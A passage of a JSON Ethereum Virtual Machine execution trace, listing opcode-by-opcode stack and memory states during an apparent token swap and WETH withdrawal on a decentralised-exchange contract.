e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3172,"op":"SWAP2","gas":19062,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0x1","0x2","0xc6a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3173,"op":"SWAP1","gas":19059,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3174,"op":"PUSH2","gas":19056,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":3177,"op":"JUMP","gas":19053,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15130,"op":"JUMPDEST","gas":19045,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15131,"op":"PUSH1","gas":19044,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15133,"op":"DUP3","gas":19041,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15134,"op":"DUP3","gas":19038,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15135,"op":"LT","gas":19035,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0","0x1","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15136,"op":"ISZERO","gas":19032,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15137,"op":"PUSH2","gas":19029,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15140,"op":"JUMPI","gas":19026,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000003a4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000100000000000000000000000000000000000000000000000000000000","000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e0000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf46d9a640a000000000000000000000000000000000000000000000000","000136dbf40ac09b000000000000000000000000000000000000000000000000","000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24","382f546c2e6fa21a000000000000000000000000000000000000000000000000"],"refund":2800},{"pc":15148,"op":"JUMPDEST","gas":19016,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x2e1a7d4d","0x100","0xc6a","0x1","0x2","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000